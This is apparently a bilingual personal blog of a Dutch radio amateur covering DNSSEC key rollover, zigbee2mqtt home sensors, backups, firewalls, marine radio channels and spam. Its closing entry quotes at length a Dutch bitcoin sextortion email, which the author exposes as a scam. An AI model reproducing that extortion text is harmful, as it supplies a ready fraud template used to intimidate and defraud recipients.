camp-wireless.com. IN DNSKEY 256 3 13 lXntnbvQqHy+OSG/2RpHEbcYzeUAB2tFE+d5Us9M07Ndw7TI2DF2TIDx vC3bPomCE2102FJSr8/DnzoRiMHreg==
; This is a zone-signing key, keyid 25619, for camp-wireless.com.
; Created: 20210702115321 (Fri Jul  2 13:53:21 2021)
; Publish: 20210703000000 (Sat Jul  3 02:00:00 2021)
; Activate: 20210705000000 (Mon Jul  5 02:00:00 2021)
camp-wireless.com. IN DNSKEY 256 3 13 kJpmrljuP7PncZij7G1Yn9xngKe1xUpuONG2XAx8AYXu//qXClAbgg3B bmzyeDpFAw2gDRhjQ7f5o20c1QK9OA==

So I generated the key on 2 July 2021, with a set publication date of 3 July 2021. I shortened the prepublication period to avoid problems with other things happening in the near future and today it changed to published. If I generate new signatures again on 5 July 2021 those will use the new key.

DNSSEC is a process with lots of things to get your brains around, and a key rollover is one of those things. A key signing key rollover is even harder because uploading of the public key to the registrar has to be kept synchronized with the published information. That is why I am testing all this on camp-wireless.com where it is not a major problem if something fails.

I sort of forgot I had zigbee2mqtt running since 18 June and the network enhanced itself with two devices: a 'lidl smart plug' and a 'power supply/relay/dimmer'. The Lidl Silvercrest smart plug (EU, CH, FR, BS, DK) (HG06337) left the network by itself but the Busch-Jaeger Zigbee Light Link power supply/relay/dimmer (6735/6736/6737) was actively reporting and I was able to switch the light on and off.

After resetting it to the state I found it in I tried to remove it from the network (by sending a 'remove' message to zigbee2mqtt) but it came back right away. So I stopped zigbee2mqtt, set permit_join to false and restarted it. After that I gave the 'remove' command again and that worked and it hasn't come back.

Log from zigbee2mqtt with the device id removed:

Zigbee2MQTT:info  2021-07-03 15:59:04: MQTT publish: topic 'zigbee2mqtt/0xd85def11a1004f69', payload '{"brightness_relay":254,"linkquality":33,"state_relay":"OFF"}'
Zigbee2MQTT:info  2021-07-03 15:59:08: Removing '0x****************'
Zigbee2MQTT:info  2021-07-03 15:59:08: Successfully removed 0x****************
Zigbee2MQTT:info  2021-07-03 15:59:08: MQTT publish: topic 'zigbee2mqtt/bridge/log', payload '{"message":"0x****************","type":"device_removed"}'
Zigbee2MQTT:warn  2021-07-03 15:59:08: Device '0x****************' left the network
Zigbee2MQTT:info  2021-07-03 15:59:08: MQTT publish: topic 'zigbee2mqtt/bridge/event', payload '{"data":{"ieee_address":"0x****************"},"type":"device_leave"}'
Zigbee2MQTT:info  2021-07-03 15:59:08: MQTT publish: topic 'zigbee2mqtt/bridge/log', payload '{"message":"left_network","meta":{"friendly_name":"0x****************"},"type":"device_removed"}'
Zigbee2MQTT:warn  2021-07-03 15:59:08: Device '0x****************' left the network
Zigbee2MQTT:info  2021-07-03 15:59:08: MQTT publish: topic 'zigbee2mqtt/bridge/event', payload '{"data":{"ieee_address":"0x****************"},"type":"device_leave"}'
Zigbee2MQTT:info  2021-07-03 15:59:08: MQTT publish: topic 'zigbee2mqtt/bridge/log', payload '{"message":"left_network","meta":{"friendly_name":"0x****************"},"type":"device_removed"}'

Sorry to whoever in the neighbourhood wasn't able to get their new lightswitch/dimmer working with their own hub. It should work now.

I checked the documentation and it's perfectly possible to tell zigbee2mqtt to allow/deny joins (even for a set time) via a message delivered via mqtt: MQTT topics and message structure: zigbee2mqtt/bridge/request/permit_join. I will leave the fixed configuration to joins disabled and will allow a join by hand when there is an actual device to join.

I realized the high maximum IPv4 ping times never showed up when I redid the measurement by hand, and IPv4 was the first test in the crontab line.

So I guess a lot of scripts ping ping.xs4all.nl every 5 minutes and it's a bit congested at exactly that time. I added a small delay before the start of the measurement and suddenly the strange peaks are gone.

This time a Dutch beer, from the south of The Netherlands. The Gulpener brewery is indeed in Gulpen, the Netherlands and that is one of the southernmost places in the Netherlands.

It's an IPA with biological and local ingredients, and with the name 'ur-hop IPA' I expected an overload of hop taste. But that's not true, I think I have tasted IPA beers with a stronger hop taste compared to this beer.

The beer details

Company	Gulpener
Beer name	Ur-hop IPA
Beer style	IPA - India Pale Ale
Alcohol by volume	6 %

Na alle ontwikkelingen bij xs4all was het tijd om de overstap te maken die er al een tijd inzat. Van xs4all naar Freedom internet met eigenlijk dezelfde voor mij belangrijke eigenschappen: een vast IPv4 adres, een vaste IPv6 reeks en een provider die geeft om belangrijke zaken zoals privacy.

De snelheid gaat er wat op vooruit: freedom levert de snelheid die de DSL verbinding aan kan, dus in ons geval 101 mbit down/30 up.

Direct na de aanvraag en het accepteren van de automatische incasso krijg ik al gelijk bericht wat het IPv4 adres wordt en de toegekende IPv6 reeks. Dat is handig, dan kan ik de overstap goed voorbereiden.

Vandaag de aankondiging die ik twee jaar geleden al voorzag:

Per 1 oktober 2021 vervalt batched SMTP op kzdoos.xs4all.nl

Het omzetten van e-mail adressen lukt vrij goed. Het meeste wat nog op oude adressen binnenkomt is spam.

De instructie die XS4ALL geeft om dit op te lossen op Batched SMTP op subdomein vervalt - xs4all is vrij simpel. In de mail stond Op xs4all.nl/bsmtp staat hoe u kunt zien op welke adressen u berichten heeft ontvangen en wat u in Mijn XS4ALL moet doen. maar op die site komt het neer op 'zoek in je eigen mailarchieven' en niet 'na authenticatie kunt u zien wat er voor u in de maillogs bij ons staat' wat mijn eerste verwachting was.

Het is jammer, maar met alle wijzigingen bij XS4ALL naar KPN niet onverwacht. Voor mij wel een signaal dat het tijd is om op te gaan stappen als klant bij XS4ALL.

Om in de toekomst alle opties open te houden heb ik het Draytek Vigor 130 modem voorzien van firmware 3.8.4.1 met modem6 DSL driver. Ik ben erg benieuwd naar de stabiliteit als ik actief ben op amateur banden onder 17 MHz, en ik wil weten hoe dit nu werkt op de lange termijn.

Bij de eerste testen met sterke signalen op de 20 meter en 40 meter band blijft de verbinding in ieder geval in stand, ik zie alleen een klein beetje packet loss bij de eerste signalen. In ieder geval geen volledig verbreken van de verbinding.

De latency is wel weer toegenomen, de verbinding is weer interleaved helaas. Opvallend is dat er later meer uitschieters kwamen in de latency voor IPv4 verkeer. Dat begon ongeveer omstreeks de tijd dat ik de test met radio signalen deed.

En nu weer een MTU van 1500 bytes op de ppp verbinding.

To share my work on mhaas / mqtt-to-influxdb-forwarder : IoT MQTT to InfluxDB forwarder I forked the repository to KHoos / mqtt-to-influxdb-forwarder: zigbee2mqtt to InfluxDB forwarder and committed my changes to the source, and later updated the documentation and committed those changes too.

I thought somebody must have been doing zigbee2mqtt measurements to influxdb before and I was somewhat right: it was mentioned in a bugreport! In issue Can't receive messages from mqtt #3 it shows that someone is already trying to do this but it's not completely there yet. So I cloned mhaas / mqtt-to-influxdb-forwarder : IoT MQTT to InfluxDB forwarder after a few updates it does what I want: correctly use the sensor id as tag and only parse messages that have live sensor data. Zigbee2mqtt likes to publish its internal housekeeping as mqtt messages and I don't need those.

So now I get from

zigbee2mqtt/0x00158d0006fafb00 {"battery":100,"humidity":37.86,"linkquality":84,"pressure":1032,"temperature":28.67,"voltage":3045}

To

DEBUG:forwarder.InfluxStore:Writing InfluxDB point: {'fields': {u'linkquality': 84.0, u'temperature': 28.67, u'battery': 100.0, u'humidity': 37.86, u'pressure': 1032.0, u'voltage': 3045.0}, 'tags': {'sensor_address': u'0x00158d0006fafb00'}, 'measurement': 'environment'}

And available as:

$ influx -database environment -precision rfc3339
Connected to http://localhost:8086 version 1.6.4
InfluxDB shell version: 1.6.4
> select * from environment;
name: environment
time                           battery humidity linkquality pressure sensor_address     temperature voltage
----                           ------- -------- ----------- -------- --------------     ----------- -------
[..]
2021-06-22T21:05:10.227577886Z 100     37.86    84          1032     0x00158d0006fafb00 28.67       3045

I will need to add something with friendly names, but this is a nice start. Data flows!

And regex101 regular expression tester and debugger saved the day in finding how to change the Python regular expression to only accept data from zigbee messages with a sensor address.

Voor mijn stukje over het luisteren naar marifoon kanalen zocht ik eigenlijk naar een afbeelding van een marifoon op een schip.

En het aanbod viel zwaar tegen. Via de de wikipedia pagina over het ontwerp Marifoon kom ik wel een creative commons afbeeldingen tegen van een oude marifoon, maar niets actueels. Kwa beeld zocht ik iets als een moderne marifoon zoals te koop via Inbouwmarifoons - Maritiem - hamshop.nl en dan ingebouwd op een schip, want dat is mijn persoonlijke beeld. Blijkbaar heeft nog niemand die foto gemaakt en onder creative commons beschikbaar gesteld. Termen 'marifoon', 'marine radio' en 'ship radio' in combinatie met de juiste licentie leveren niet het beeld op wat ik heb.

Als ik de vraag om een open licentie er af laat kom ik best voorbeelden tegen zoals in het artikel Marifoon aan boord - Myon zeiljacht verhuur maar die zijn niet expliciet vrij te gebruiken.

Gisteren op een zeilboot geweest en vanuit mijn hobby als radioamateur was ik natuurlijk ook benieuwd naar de radio aan boord. Daar werd niet veel mee gedaan omdat de eigenaar van de zeilboot nog geen marifoon bedienings certificaat heeft. Verder leuk een stukje mee gevaren. Ik heb geen idee van zeilen maar met iemand er bij met kennis en inzicht is het leuk om mee te maken.

Dat was natuurlijk wel aanleiding om me eens te verdiepen in de ontvangst van het marifoon verkeer. Hier in Utrecht is er niet zoveel te beleven maar er zijn een paar bruggen en sluizen met misschien wat verkeer wat ik zou kunnen ontvangen. Dus ik heb de programmeerkabel voor de QYT KT-8900 opgedoken en na wat zoeken deed deze het weer. Marifoonkanalen en gebruik gevonden op Marifoon kanalen en marifoon frequenties en de frequenties via Overzicht VHF marifoonkanalen - frequentieland en daarnaast nog Marifoonkanalen Nederland - Binnenvaart kennis.

Uiteindelijk een set kanalen gevonden die kans gaven op verkeer en deze in de radio geprogrammeerd. Puur voor ontvangst, niet om daar ooit op te willen zenden!

De kanalen en frequenties waarvan ik denk dat ze interresant zijn:

Kanaal	Frequentie schip	Frequentie wal	Gebruik
1	156.050 MHz	160.650 MHz	Centrale meldpost IJsselmeer
6	156.300 MHz	Simplex	Intership
10	156.500 MHz	Simplex	Intership
13	156.650 MHz	Simplex	Intership
15	156.750 MHz	Simplex	Intraship
17	156.850 MHz	Simplex	Intraship
16	156.800 MHz	Simplex	Noodoproepen
18	156.900 MHz	161.500 MHz	Sluizen en bruggen, Merwedekanaal
20	157.000 MHz	161.600 MHz	Sluizen en bruggen
22	157.100 MHz	161.700 MHz	Sluizen en bruggen
61	156.075 MHz	160.675 MHz	Verkeersbegeleiding blokkanaal Maarssen Amsterdam-Rijn kanaal
72	156.625 MHz	Simplex	Sociaal
77	156.875 MHz	Simplex	Sociaal
84	157.225 MHz	161.825 MHz	Sluizen en bruggen
85	157.275 MHz	161.875 MHz	Sluizen en bruggen

Een deel van de kanalen zoals die voor sluizen en bruggen hebben een aparte schip en wal frequentie. Dat zorgt natuurlijk dat de brugwachter of sluiswachter altijd het woord kan nemen en een mededeling kan doen zonder dat er een radio vanaf een schip doorheen kan storen.

Met het lezen over marifoon gebruik en kanalen is het wel duidelijk dat het allemaal zeer goed gestructureerd is en gebruikers dienen te weten welk kanaal voor welk gebruik is en hoe de procedures zijn. Sociaal gebruik was eerst helemaal niet de bedoeling, bij uitbreiding van de kanalen is daar iets ruimte voor gekomen. De frequenties laten zien dat de uitbreiding van de beschikbare kanalen is gekomen door het overschakelen op een ander kanaalraster.

Dus nu staat de radio constant deze frequenties en daarnaast diverse amateur frequenties en pmr frequenties te scannen. Voorlopig is de conclusie dat het vrij rustig is op de marifoon kanalen en dat als ik wat hoor de communicatie volgens nette regels gaat en vrij kort is, er is duidelijke etherdiscipline. Daarnaast hoor ik op PMR kanaal 7 soms een babyfoon en soms gesprekken die me het idee geven dat een restaurant dat kanaal gebruikt voor communicatie. Ik denk dat ze elkaar niet horen, ik heb een veel hogere antenne.

The page How to improve network range and stability - zigbee2mqtt.io has using an USB extension cable as the first solution to improve communications. And indeed my earlier problems with zigbee communications now seem solved and I get good quality readings from longer distances.

After reinstalling the Raspberry Pi in the utility closet so it can run newer software I did the steps to install zigbee2mqtt on it which was quite possible this time.

I migrated the settings and the database from my first run of zigbee2mqtt on a linux laptop and on the first try no communication started with the zigbee dongle.

On the second try (different usb port) things started working. The zigbee dongle is currently plugged directly into the Raspberry and as several manuals say this is not an ideal configuration. Those manuals are right: suddenly the sensor about 4 meters away isn't seen. I will need to improve the situation and move the dongle or its antenna to a better location.

Zigbee2MQTT:info  2021-06-18 22:28:15: MQTT publish: topic 'zigbee2mqtt/0x00158d0006fafb00', payload '{"battery":100,"humidity":62.52,"linkquality":147,"pressure":1023,"temperature":27.77,"voltage":3175}'

Because the installation of zigbee2mqtt was not possible on the Raspberry pi in the utility closet I decided to do a reinstallation with Raspbian buster. According to some on-line opinions reinstalling is better than a distro upgrade on a microsd card.

I was lucky to have a spare MicroSD card and a spare Raspberry Pi available. I did the whole installation on the spare and made sure to set up everything already so things would start running. And the thing that I missed was fixed easily with the old configuration still available. The Raspberry Pi in the utility closet was only running the smart meter monitoring, but now it is upgraded it can do more things, and running zigbee2mqtt for checking on wireless sensors in the house is next.

The package with the zigbee environment sensors I ordered arrived this morning and I had to get the first test done right away.

Joining the network/resetting the sensor is easy with a long press of the button and it showed up:

Zigbee2MQTT:info  2021-06-12 11:53:17: Device '0x00158d0006fafb00' joined
Zigbee2MQTT:info  2021-06-12 11:53:17: Starting interview of '0x00158d0006fafb00'
gbee2MQTT:info  2021-06-12 11:53:52: Successfully interviewed '0x00158d0006fafb00', device has successfully been paired
Zigbee2MQTT:info  2021-06-12 11:53:52: Device '0x00158d0006fafb00' is supported, identified as: Xiaomi Aqara temperature, humidity and pressure sensor (WSDCGQ11LM)
Zigbee2MQTT:info  2021-06-12 11:53:52: Configuring '0x00158d0006fafb00'
Zigbee2MQTT:info  2021-06-12 11:53:52: Successfully configured '0x00158d0006fafb00'

And now it gives me data!

Zigbee2MQTT:info  2021-06-12 12:15:53: MQTT publish: topic 'zigbee2mqtt/0x00158d0006fafb00', payload '{"battery":100,"humidity":45.77,"linkquality":153,"pressure":1033,"temperature":24.9,"voltage":3055}'
Zigbee2MQTT:info  2021-06-12 12:15:53: MQTT publish: topic 'zigbee2mqtt/0x00158d0006fafb00', payload '{"battery":100,"humidity":45.85,"linkquality":156,"pressure":1033,"temperature":24.9,"voltage":3055}'
Zigbee2MQTT:info  2021-06-12 12:15:53: MQTT publish: topic 'zigbee2mqtt/0x00158d0006fafb00', payload '{"battery":100,"humidity":45.85,"linkquality":156,"pressure":1033,"temperature":24.9,"voltage":3055}'

Also visible via mqtt:

koos@testrouter:~$ mosquitto_sub -t zigbee2mqtt/0x00158d0006fafb00 -v
zigbee2mqtt/0x00158d0006fafb00 {"battery":100,"humidity":45.77,"linkquality":153,"pressure":1033,"temperature":24.9,"voltage":3055}
zigbee2mqtt/0x00158d0006fafb00 {"battery":100,"humidity":45.85,"linkquality":156,"pressure":1033,"temperature":24.9,"voltage":3055}
zigbee2mqtt/0x00158d0006fafb00 {"battery":100,"humidity":45.85,"linkquality":156,"pressure":1033,"temperature":24.9,"voltage":3055}

I started looking at the instructions for running zigbee2mqtt and the instructions for installing npm/nodejs gave me a lot of error messages on the raspberrypi running in the utility closet and checking the smart meter.

It turns out it needs an upgrade from Raspbian jessie. This Raspberry Pi is dedicated to reading the smart meter since August 2016 and it has been running fine gathering the smart meter data.

The raspbian forums state that it is better to upgrade by reinstallation on a different SD card. So I guess it's time to rebuild the smartmeter Pi if I want it to run the zigbee sensor network.

Update:
I installed all the software on a linux laptop and now I have a running zigbee2mqtt.

Diverse media die ik volg berichtten vanmorgen over een artikel in Trouw: 'Tientallen websites overheid voldoen niet aan veiligheidsrichtlijnen' - nos.nl en ‘Tientallen overheidswebsites zijn onvoldoende beschermd tegen hackers’ - volkskrant.nl.

De aanname in het originele artikel (achter betaalmuur) is dat omdat een website van een overheidsinstantie gebruik maakt van wordpress waar je prima de beheer login pagina kunt vinden deze websites automatisch allemaal kwetsbaar zijn. En voor het gemak wordt dan even de link gelegt met de inbraak bij de gemeente Hof van Twente.

Hiermee worden zo'n hoop stappen overgeslagen in beveiliging en gereduceerd tot 'openbare login dus onveilig'. Ik weet dat wordpress bekend en berucht is om onveiligheden en dat elke wp-login pagina constant geprobeerd wordt en als die er is bruteforce aanvallen krijgt. Deze website draait geen wordpress en ik zie 5-11 pogingen per dag om de wp-login pagina te vinden. Een andere site waar ik de hosting voor verzorg draait wel wordpress en met een heel strak afgesteld filter wat herhaalde login pogingen blokkeert zie ik 500 tot 1300 pogingen per dag om in te loggen. Zo'n login pagina is dus een bekend risico en daar moet iets mee. Daar neem je maatregelen zoals beperkingen van het aantal login pogingen per bron en sterke wachtwoorden. Daarnaast moet dus wordpress zelf goed beheed worden en bij eventuele kwetsbaarheden snel bijgewerkt worden.

Ik denk ook dat sommige van de genoemde websites juist expres voor een externe wordpress gebaseerde site hebben gekozen na een goede risico-afweging. De site kan dan zeer eenvoudig compleet losgekoppeld zijn van de verdere computersystemen van de overheidsdienst waar het om gaat. En gebeurt er iets met die wordpress website dan gooi je die weg en bouwt de site opnieuw op.

Het artikel mist al dit soort overwegingen en nuances. Er wordt nog even een link gelegd naar het slechte wachtwoord wat aan de bron lag van de ransomware aanval op de gemeente Hof van Twente. Maar dat slechte wachtwoord gaf zonder 2e factor toegang tot het interne netwerk van die gemeente via remote desktop. Onbevoegde toegang tot een besturingssysteem middels remote desktop is in veel gevallen een veel groter risico dan beheerrechten op een wordpress site.

Ik vind het een slecht artikel en het is jammer dat diverse andere media het zonder al te kritisch te zijn overnemen.

Voor de goede orde: ook al werk ik in de informatiebeveiliging, dit is mijn persoonlijke opinie en heeft niets te maken met werkgevers.

The zigbee stick I ordered for environmental monitoring at home is making its way over here and I received an sms about the duty and tax to be paid for importing it from the United Kingdom. Indeed, since brexit taxes have to be paid.

My first reaction when receiving an sms about a package was to think of malware attempts since that has been in the news recently. So I checked carefully. It's good dpd also sends an e-mail with the same information, and I can check the validity of the links and the source of the e-mail a lot better on a computer.

I still had the unfinished business of not having a good backup when half a filesystem ended in lost+found and it took a whole day to recover from that problem. And I still found missing things today.

I have no working tapedrives left, but a good amount of disk storage available. I still like amanda as backup program, so I looked into the vtapes (virtual tapes) option. The sample amanda.conf explains this nicely:

# To use vtapes, create some slotN directories (slot0, slot1, etc.) under
# /var/amanda/vtapes and use this tapedev:
## tapedev "chg-disk:/var/amanda/vtapes"
tapedev "chg-disk:/scratch/nasback/vtapes"

So I created those writeable by the amanda user.

I try to only backup data that I can't get by a reinstallation. So I backup /etc (configuration), /var (system data), /home (user data) and a few other directories.

Since January 2008 I measure temperatures and other environmental data in and around the house with 1-wire sensors and adaptors. These work fine but need wires between the sensors and that isn't ideal for quick spot measurements.

So I looked into other options recently, and found affordable zigbee temperature/air pressure/humidity sensors. And an USB zigbee interface which works with linux and with a lot of the available application software. Because the next problem is going sensor - zigbee network - zigbee usb interface - some magic - database of measurements.

Because I see myself wanting long series of measurements from a number of places in the house and testing without breaking those series I ordered two USB zigbee interfaces and eight environmental sensors. I guess I want production and development enviromental monitoring.

• Zigbee interface: zzh! CC2652R Multiprotocol RF Stick (tindie)
• Sensors: Xiaomi Aquara smart home sensor air pressure temperature humidity (aliexpress)

The zigbee stick is not the cheapest solution but it is documented to work with zigbee2mqtt and buying one supports work on that software.

New bitcoin extortion spam coming in for wallet 122F3j5EfUKnuKjFY54pCE43C793eVPSTY. I got it in English, but given the reports it was also sent out in at least one other language.

Which means the author has no idea who pays, but just likes a filled bitcoin wallet.

Ik beheer mijn eigen mailserver (met al meer dan 25 jaar sendmail in gebruik) en nu kreeg ik ook de brief over de aanpassingen in SMTP van xs4all. Het komt er op neer dat relaying op basis van IP adres gaat verdwijnen.

Om een helpdeskramp te voorkomen gaat het uitschakelen per gebruiker. Ik heb een brief gekregen dat ik soms gebruik maak van deze route en dat moet aanpassen.

Dat klopt, voor sommige servers was het feit dat ik weinig mail naar die servers stuur een reden om het te blokkeren. Of het ooit ontbreken van een IPv6 reverse pointer. Dat laatste heb ik goed laten zetten toen.

Op de website van xs4all staat wel een uitleg: Veilig e-mailen 2020 - xs4all maar daar staat niets bij over sendmail. Thuisservers die mailen zijn blijkbaar niet meer hun doelgroep (mijn Cron Daemon is er anders best goed in!).

Ik ben maar eens begonnen met het leeggooien van de lijst in de mailertable. We gaan zien welke domeinen nu onbereikbaar zijn.

I am looking at better protection inside my home network since there is a mix of "trusted" and "not so trusted" devices in the house. I consider devices that just need Internet access to talk to some server out there (the well-known "cloud" better known as "Someone else's computer") and are (mostly) black boxes untrusted compared to systems that are installed with a known operating system and where I can control what they can and can't do.

One of the things I wanted to improve are local host-based firewalls. The firewall in the router linux machine is the result of years of fine-tuning and experience so I manage that by hand. But for somewhat standard hosts I want simple firewalls that are easily managed.

I tried ufw, the Uncomplicated Firewall and on the first (test) machine it went fine without a problem. On the second machine where there are already a few active firewall rules managed by fail2ban something hickupped and before I knew it ufw managed to leave me with an unreachable machine.

The error message from ufw-init was something about being unable to initialize firewall rule ufw-track-output and the net result was that the machine became unreachable. I needed console access to get back in again. Removing/purging the ufw package didn't help, after reinstalling it and trying again the same error came up and the system was unreachable again.

It turns out ufw leaves its own rules in iptables/ip6tables active (prefixed with 'ufw') and this confused ufw-init. I tried removing them by hand (lots of work) or with a very small shell script, but in the end rebooting the machine and only reinstalling ufw after that reboot got me back to a normal usable situation.

This weekend was the CQ WPX CW contest 2021 and on Saturday I had some time to participate between family things.

I started on the 10 meter band and stayed there: I managed to get 29 contacts in the log on that band, there were good signals across most of Europe.

I had fun and surprised myself by decoding some morse by ear better than my computer (yes, I consider this very assisted when I use both spotting networks and a morse decoder). I noted a serial number 246 that my computer completely did not decode so I wasn't very sure. The next serial number was indeed 247 so I got it right in one go!

Claimed score is 812 points. I'll see what happens when the logs are checked. At least contesting is good for other rankings: I now have Poland and Lithuania confirmed in morse.

Volgens Phishing en andere fraude melden - ABN AMRO kan ik het doorsturen naar een speciaal daarvoor ingericht adres. Helaas...

   ----- The following addresses had permanent fatal errors -----
<valse-email.at.abnamro.nl>
    (reason: 553-Message filtered. Refer to the Troubleshooting page at)

   ----- Transcript of session follows -----
... while talking to cluster1.eu.messagelabs.com.:
>>> DATA
<<< 553-Message filtered. Refer to the Troubleshooting page at
<<< 553-https://knowledge.broadcom.com/external/article?legacyId
<<< 553 =TECH246726 for more information. (#5.7.1)
554 5.0.0 Service unavailable

Helaas lukt dat niet, want er zit blijkbaar iets te goeie spamfiltering op dat adres.

Three new messages with bitcoin extortion in this morning. All hoping to receive funds at bitcoin address 1L2UavMTrhpCXWn9LvqhCqRSvxYzfQsBw4. This is funny, I've seen this address before, right at the beginning of 2021: New year, new scams - Koos van den Hout but it still hasn't received anything. Good.

Analyzing the headers show a lot of dead ends again. One sample:

Received: from evanwiggs.com (evanwiggs.com [68.171.49.21])
        by mxdrop304.xs4all.net (8.14.9/8.14.9/Debian-xs4all~5) with ESMTP id
        14N7DOiH028056
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
        for <.....@..........>; Sun, 23 May 2021 09:13:27 +0200
Received: (qmail 5080 invoked from network); 23 May 2021 03:13:26 -0400
Received: from unknown (HELO test3.novalocal) (123.156.225.126)
        by evanwiggs.com with SMTP; 23 May 2021 03:13:26 -0400

The host in the middle was different for each attempt, but the 'test3.novalocal' was the same in all three. I'm guessing it is a fake Received header. An online header analyzer agrees with this.

When I search for the name .novalocal it seems related to openstack installations.

Update 2021-05-29: Hello whoever is behind wallet 1L2UavMTrhpCXWn9LvqhCqRSvxYzfQsBw4, please give up!

In de achtertuin hebben we al jaren een regenton. Recent wilde ik ook een regenton in de voortuin, want daar zijn we ook wat meer bezig met plantjes die water kunnen gebruiken en om daar kraanwater voor te gebruiken is toch niet ideaal.

Ook wil de gemeente dat regenwater niet langer het riool ingaat maar eigenlijk gelijk de bodem in kan zakken. Bij de bouw van deze huizen en de inrichting van de straat in 1965 waren zaken natuurlijk anders en moest regenwater snel kwijt, maar anno nu weten we dat er bij een regenbui zoveel water naar beneden kan komen dat het riool het helemaal niet aan kan.

De conclusie was duidelijk: ik wilde een regenton die zorgt dat er in droge periodes water beschikbaar is om de plantjes in de tuin water te geven. Maar ook eentje die past in de tuin. De verticale regenpijp delen we met de buren, die zit precies op de erfscheiding. Ik heb dus even overleg gehad met de buren over dit plan, ook vanwege de keuze van regenton. De uiteindelijke keuze is een vertikaal model geworden: 100 liter regenton antraciet Anzar - voertonnen.nl zodat deze netjes in de hoek naast de regenpijp en de brievenbus past. Met een Vulautomaat Harcostar - voertonnen.nl er bij die de ton vult vanuit de regenpijp maar als de regenton vol is het overbodige regenwater weer via de regenpijp afvoert.

Vrijdag is bij mooi weer de regenton geinstalleerd. Zaterdagochtend regende het en toen ik tegen het eind van de ochtend even het deksel van de regenton open maakte bleek deze al helemaal vol. Het is een best groot stuk dak wat afwatert via die regenpijp.

Some visitors may have noticed this website wasn't working for about a day. That's because I had to rebuild the webserver. There was a filesystem-related panic somewhere yesterday causing the main filesystem to be mounted read-only.

I assumed I could use fsck on the read-only filesystem to get things back to normal again but this turned out wrong: I ended with an unbootable disk and the complete contents of /etc and /home in /lost+found with mostly unusable filenames (numbers).

The fastest solution was to rebuild a webserver from scratch and start making things run again. This took most of the day. Yes, I need to get backups working again, even without a tapedrive.

The weird part is that this was about a filesystem in a virtual machine and the hardware host shows absolutely no problems at that time and has no problems with the disks backing this storage.

Another virtual machine also had issues around the same time, but those did not result in disk problems:

sd 0:0:0:0: [sda] tag#0 FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_TIMEOUT
sd 0:0:0:0: [sda] tag#0 CDB: Write(10) 2a 00 00 88 19 20 00 00 08 00
blk_update_request: I/O error, dev sda, sector 8919328
Buffer I/O error on dev sda1, logical block 1114660, lost async page write

A few days earlier both virtual systems logged a strange timing issue with a hang on all CPUs.

I'm also seeing some weird kernel messages on other virtual machines around the same time:

wozniak kernel: [5150105.764208] rcu: INFO: rcu_sched self-detected stall on CPU

So I guess it is time for some hardware checks.

The 10 meter amateur band (starting at 28 MHz) can have interesting propagation depending on weather. The kind of 'atmospheric interference' that once plagued analog TV broadcasts can cause signals to reach much further than planned.

Today was a day with good propagation that way and I had time to play with the radio. I started with some digital contacts on the 10 meter band (FT8) but soon switched to voice communications (SSB) because those were getting loud too. I started answering some of the amateurs calling CQ for new contacts. I made contacts with Italy, Switzerland, Austria, Serbia and Slovenia. Some where short contacts but others wanted to have a longer and more personal chat.

It doesn't happen often that signals are strong enough to get over the local interference. Nice to see this and make new friends.

I am using fail2ban to deal with spamming attempts. Some of the spam senders are quite good at trying the same stupidity again 3 minutes later because the error codes are just for non-criminal mail senders. My logs kept filling up with the same stupidity over and over and over again. So I set up fail2ban to block the offending IPs to keep my logs readable.

But this stopped e-mail based alerts from a certain service. I know, e-mail isn't instant messaging.

The error message was:

gosper sm-mta[14317]: ruleset=check_relay, arg1=xx.xx.xx.xx, arg2=xx.xx.xx.xx, relay=xx.xx.xx.xx [xx.xx.xx.xx], reject=421 4.3.2 Connection rate limit exceeded.

This triggered fail2ban directly because I didn't expect normal traffic to exceed this, but the alerts from the service could. So I whitelisted the sending IP in the sendmail access config to make sure the notifications flow.

I also updated the specific bit of fail2ban configuration to only block this after three errors.

With lots of devices running on rechargeable batteries including toys with motors and lights we have accumulated quite a number of rechargeable batteries in our house. Some of them have been around for ages and others are more recent.

With the amount of batteries varying per device (we have seen 1,2,3,4 and 6 batteries per device) it's good to charge each battery individually as they may have different residual charges and always charging them in pairs when one is not as good will only make the difference worse.

But the charger for individual AA/AAA cells we have also wants to charge the batteries quite fast and will abort as soon as one cell doesn't accept the charge. More and more batteries got rejected this way, even relatively new ones.

The solution: a smart charger that has adjustable load current, can refresh a battery that has problems accepting charge and measures the charge in the battery. And does this for 4 batteries at the same time. I gathered batteries from all kinds of places (quite a collection) and started charging and measuring all of them. A number of batteries got rejected because even a "refresh charge" ended at less than 50% of the original capacity. Those batteries will be handled as chemical waste. The others with enough capacity left are now all in the big box of charged batteries. Most of them will not keep their charge until the moment we actually need them, but it's good to know they are usable.

I bought the https://www.conrad.nl/p/voltcraft-ipc-3-batterijlader-li-ion-nicd-nimh-10440-14500-16340-16650-17355-17500-17670-18490-18500-18650-1403321 from Conrad which has only one downside: the fan is somewhat noisy.

Ik hoop dat er eens echt een van de oplichters die de mailtjes 'ik heb al je gegevens en een video van je, betaal in bitcoin om van me af te komen' verstuurd opgepakt wordt. Ze zijn irritant en ik mag regelmatig aan mensen uitleggen waarom het onzin is, energie die ik liever aan andere dingen zou besteden.

Vandaag weer een verse lading in de mailbox. Het lijkt soms wel of er aan het begin van de maand nieuwe oplichters ergens beginnen, want ik zag hetzelfde aan het begin van januari 2021 in het engels. Misschien begint er een verse groep oplichters aan het begin van de maand. "Welkom in je nieuwe baan, succes met oplichten!"

Deze maand weer in goed nederlands, met een wat professionelere toon. Niet van dat gezellige oplichten zoals in maart maar hier is over de tekst nagedacht door iemand die nederlands spreekt en schrijft.

Hallo Laat me me eerst even voorstellen - ik ben een professionele programmeur, die in zijn vrije tijd gespecialiseerd is in hacken. En jij hebt deze keer de pech mijn volgende slachtoffer te worden en ik heb zojuist het Besturingssysteem en je apparaat gehackt.

Ik heb je een aantal maanden geobserveerd. Simpel gezegd heb ik je toestel met mijn virus geïnfecteerd terwijl je je favoriete pornosite aan het bezoeken was.

Ik zal proberen de situatie in meer detail uit te leggen, als je niet echt bekend bent met dit soort situaties. Het Trojaanse virus geeft me volledige toegang tot en controle over je toestel. Vandaar dat ik alles op je scherm kan zien en openen, de camera en microfoon aan kan zetten en andere dingen kan doen, terwijl jij niets door hebt.

Bovendien heb ik ook toegang tot je hele contactenlijst op sociale netwerken en je apparaat.

Je vraagt je misschien af - waarom heeft je antivirus dan tot nu toe geen kwaadaardige software gedetecteerd?

- Mijn spyware gebruikt een speciaal stuurprogramma, dat een handtekening heeft die regelmatig bijgewerkt wordt, hierdoor kan je antivirus het gewoon niet opmerken.

